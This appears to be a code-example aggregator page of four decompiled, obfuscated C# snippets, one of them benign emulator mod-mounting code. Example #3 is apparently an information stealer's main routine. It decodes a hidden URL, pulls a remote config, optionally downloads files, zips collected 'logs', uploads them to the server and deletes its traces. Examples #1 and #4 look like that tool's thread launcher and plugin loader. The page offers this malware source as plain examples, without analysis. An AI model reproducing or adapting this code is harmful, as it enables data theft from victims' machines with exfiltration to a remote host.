Beispiel #1
0
 // Token: 0x06000260 RID: 608 RVA: 0x000130BC File Offset: 0x000112BC
 public static int smethod_0(string string_0)
 {
     new Thread(delegate()
     {
         Class26.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class27.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class28.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class29.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class30.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class31.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class32.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class35.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class36.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class33.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class34.smethod_0(string_0);
     }).Start();
     new Thread(delegate()
     {
         Class38.smethod_0(string_0);
     }).Start();
     return(Class37.int_0);
 }
Beispiel #2
0
        private void InternaPrelPlay()
        {
            if (!this.CheckNvidiaDriverVersion())
            {
                return;
            }
            if (this.EmuConfiguration_0.AutoUpdate && new ComputerInfo().TotalPhysicalMemory >= 6442450944UL)
            {
                this.InstallCommunityShaders();
            }
            this.Event_0           += (EventHandler)((sender, e) => Class27.smethod_0(this.gclass30_0 as GClass32));
            this._modArgumentString = (string)null;
            GClass15 gclass15 = new GClass15((GClass32)this.gclass30_0);

            if (gclass15.InstalledMods.Count <= 0)
            {
                return;
            }
            Dictionary <string, ulong> counter     = (Dictionary <string, ulong>)null;
            Dictionary <string, ulong> counter_mlc = (Dictionary <string, ulong>)null;

            try
            {
                counter = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFile));
            }
            catch
            {
                counter = new Dictionary <string, ulong>();
            }
            try
            {
                counter_mlc = JsonConvert.DeserializeObject <Dictionary <string, ulong> >(System.IO.File.ReadAllText(this.PerformanceFileMlc));
            }
            catch
            {
                counter_mlc = new Dictionary <string, ulong>();
            }
            gclass15.method_7();
            List <GClass16> gclass16List = gclass15.method_4();
            Class22         mapper       = new Class22(this.CurrentGamePath, counter, 134217728L);
            Class22         mapper_mlc   = new Class22(System.IO.Path.Combine(this.Root_BIN_Path, "mlc01"), counter_mlc, 134217728L);

            foreach (Alphaleonis.Win32.Filesystem.FileInfo fileInfo in gclass15.List_0)
            {
                if (System.IO.File.Exists(this.Root_BIN_Path + "\\mlc01\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length)))
                {
                    mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
                else if (System.IO.File.Exists(this.CurrentGamePath + fileInfo.FullName.Substring(gclass15.String_0.Length)))
                {
                    mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
                else
                {
                    mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                    mapper.method_1(fileInfo.FullName.Substring(gclass15.String_0.Length), fileInfo.FullName);
                }
            }
            foreach (GClass16 gclass16 in gclass16List)
            {
                string string_2 = gclass15.String_0 + gclass16.ArchiveRelativePath;
                mapper.method_1(gclass16.GameRelativePath, string_2);
                mapper_mlc.method_1("\\usr\\title\\00050000\\" + this.gclass30_0.TitleId.High.ToLower() + gclass16.GameRelativePath, string_2);
            }
            Task.Run((Action)(() =>
            {
                foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)))
                {
                    mapper.method_2(keyValuePair.Key);
                }
                foreach (KeyValuePair <string, ulong> keyValuePair in (IEnumerable <KeyValuePair <string, ulong> >)counter_mlc.OrderByDescending <KeyValuePair <string, ulong>, ulong>((Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)))
                {
                    mapper_mlc.method_2(keyValuePair.Key);
                }
                mapper.method_0();
                mapper_mlc.method_0();
            }));
            System.IO.Directory.CreateDirectory(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount"));
            foreach (System.IO.DirectoryInfo enumerateDirectory in new System.IO.DirectoryInfo(System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount")).EnumerateDirectories())
            {
                try
                {
                    try
                    {
                        Dokan.RemoveMountPoint(enumerateDirectory.FullName);
                    }
                    catch
                    {
                    }
                    enumerateDirectory.Delete(true);
                }
                catch
                {
                }
            }
            string mount_point     = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName());
            string mount_point_mlc = System.IO.Path.Combine(GClass88.DirectoryCache, "mods", "mount", System.IO.Path.GetRandomFileName());

            GClass6.smethod_5(mount_point);
            System.IO.Directory.CreateDirectory(mount_point);
            System.IO.Directory.CreateDirectory(mount_point_mlc);
            this.Event_0 += (EventHandler)((sender, e) =>
            {
                mapper.method_4();
                mapper_mlc.method_4();
                System.IO.File.WriteAllText(this.PerformanceFile, JsonConvert.SerializeObject((object)counter));
                string performanceFileMlc = this.PerformanceFileMlc;
                IEnumerable <KeyValuePair <string, ulong> > source = counter_mlc.Where <KeyValuePair <string, ulong> >((Func <KeyValuePair <string, ulong>, bool>)(x => x.Key.Contains("\\USR\\TITLE\\00050000\\")));
                Func <KeyValuePair <string, ulong>, string> func = (Func <KeyValuePair <string, ulong>, string>)(x => x.Key);
                Func <KeyValuePair <string, ulong>, string> keySelector;
                string contents = JsonConvert.SerializeObject((object)source.ToDictionary <KeyValuePair <string, ulong>, string, ulong>(keySelector, (Func <KeyValuePair <string, ulong>, ulong>)(x => x.Value)));
                System.IO.File.WriteAllText(performanceFileMlc, contents);
                Dokan.RemoveMountPoint(mount_point);
                Dokan.RemoveMountPoint(mount_point_mlc);
                GClass6.smethod_5(mount_point);
                GClass6.smethod_5(mount_point_mlc);
            });
            Task.Run((Action)(() => mapper.Mount(mount_point, DokanOptions.WriteProtection, 10, (ILogger)null)));
            Task.Run((Action)(() => mapper_mlc.Mount(mount_point_mlc, DokanOptions.FixedDrive, 10, (ILogger)null)));
            Thread.Sleep(2000);
            this._modArgumentString = this.GenerateArguments(((IEnumerable <string>)System.IO.Directory.GetFiles(System.IO.Path.Combine(mount_point, "code") + "\\")).Where <string>((Func <string, bool>)(x => System.IO.Path.GetExtension(x) == ".rpx")).ToList <string>()[0], mount_point_mlc);
        }
Beispiel #3
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0
        private static void Main(string[] args)
        {
            Class9.smethod_0();
            Class9.smethod_1();
            Class9.smethod_2();
            string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ";

            byte[] byte_   = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275");
            byte[] bytes   = Encoding.Default.GetBytes(Class11.smethod_2(string_));
            string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_));

            byte[] bytes2 = Encoding.Default.GetBytes(@string);
            GClass9.smethod_0();
            Class23.smethod_5(Class23.string_0);
            GClass9.smethod_1();
            string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[]
            {
                ','
            });
            bool flag   = false;
            bool flag2  = false;
            bool flag3  = false;
            bool flag4  = false;
            bool flag5  = false;
            bool flag6  = false;
            bool flag7  = false;
            bool flag8  = false;
            bool flag9  = false;
            bool flag10 = false;
            bool flag11 = false;

            if (array[12] == "1")
            {
                flag8 = true;
            }
            if (!flag8)
            {
                Class12.smethod_5();
            }
            if (array[0] == "1")
            {
                flag = true;
            }
            if (array[1] == "1")
            {
                flag4 = true;
            }
            if (array[2] == "1")
            {
                flag5 = true;
            }
            if (array[3] == "1")
            {
                flag11 = true;
            }
            if (array[4] == "1")
            {
                flag2 = true;
            }
            if (array[5] == "1")
            {
                flag6 = true;
            }
            if (array[6] == "1")
            {
                flag10 = true;
            }
            if (array[7] == "1")
            {
                flag3 = true;
            }
            if (array[10] == "1")
            {
                flag9 = true;
            }
            if (array[11].StartsWith("http"))
            {
                flag7 = true;
            }
            if (flag7)
            {
                string text     = array[11];
                string fileName = Path.GetFileName(text);
                Class20.smethod_0(text, fileName);
            }
            if (flag)
            {
                Class13.smethod_3();
                Class21.smethod_0();
            }
            if (flag5)
            {
                Class18.smethod_0();
            }
            if (flag7)
            {
                string text2     = array[11];
                string fileName2 = Path.GetFileName(text2);
                Class20.smethod_0(text2, fileName2);
            }
            if (flag2)
            {
                Class17.smethod_10();
            }
            if (flag6)
            {
                Class17.smethod_6();
            }
            if (flag4)
            {
                Class15.smethod_0();
                Class13.smethod_2();
                Class25.smethod_9();
            }
            if (flag11)
            {
                Class17.smethod_5(GClass9.string_2);
            }
            if (flag3)
            {
                foreach (string item in array[8].Split(new char[]
                {
                    ':'
                }))
                {
                    Class17.list_0.Add(item);
                }
                Class17.int_0  = Convert.ToInt32(array[9]);
                Class17.int_0 *= 1024;
                Class17.smethod_8();
            }
            if (flag10)
            {
                Class17.smethod_9();
            }
            Class17.smethod_11();
            Class17.smethod_7();
            Class23.smethod_0();
            Class12.smethod_11();
            Class12.smethod_9();
            Class12.smethod_10();
            Class23.smethod_1();
            Class12.smethod_6();
            string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip";

            try
            {
                Class27.smethod_0();
                Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0);
            }
            catch
            {
            }
            if (flag9)
            {
                Class12.smethod_7();
            }
            Class12.smethod_8();
            Directory.Delete(GClass9.string_6);
        }
Beispiel #4
0
 // Token: 0x0600011C RID: 284 RVA: 0x00008234 File Offset: 0x00006434
 public static void smethod_0(byte[] byte_0, GClass2 gclass2_0)
 {
     try
     {
         GClass3 gclass = new GClass3(gclass2_0.guid_0, gclass2_0.string_0);
         gclass2_0.gclass3_0 = gclass;
         Type type = Class27.smethod_0(byte_0, Class6.type_0, Class6.type_1);
         if (type == null)
         {
             throw new Exception("Client assembly does not meet plugin type requirements.");
         }
         List <object>   list            = new List <object>();
         ConstructorInfo constructorInfo = type.GetConstructors()[0];
         foreach (ParameterInfo parameterInfo in constructorInfo.GetParameters())
         {
             if (typeof(IClientDataHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass1(gclass));
             }
             else if (typeof(IClientNetworkHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass4(gclass));
             }
             else if (typeof(IClientUIHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass9(gclass));
             }
             else if (typeof(IClientLoggingHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass7(gclass));
             }
             else if (typeof(IClientAppHost).Equals(parameterInfo.ParameterType))
             {
                 list.Add(new GClass10(gclass));
             }
             else
             {
                 list.Add(null);
             }
         }
         object objectValue = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(type, list.ToArray()));
         foreach (Type o in type.GetInterfaces())
         {
             if (typeof(IClientData).Equals(o))
             {
                 gclass.iclientData_0 = (IClientData)objectValue;
             }
             else if (typeof(IClientNetwork).Equals(o))
             {
                 gclass.iclientNetwork_0 = (IClientNetwork)objectValue;
             }
             else if (typeof(IClientApp).Equals(o))
             {
                 gclass.iclientApp_0 = (IClientApp)objectValue;
             }
         }
         Class8.smethod_87(string.Format("Plugin: {0}, Cache: {1}", gclass2_0.string_0, gclass2_0.bool_0));
         if (!Class8.list_2.Contains(gclass2_0))
         {
             Class8.list_2.Add(gclass2_0);
         }
     }
     catch (Exception exception_)
     {
         Class8.smethod_85(gclass2_0.gclass3_0, exception_, "InitializePlugin");
     }
 }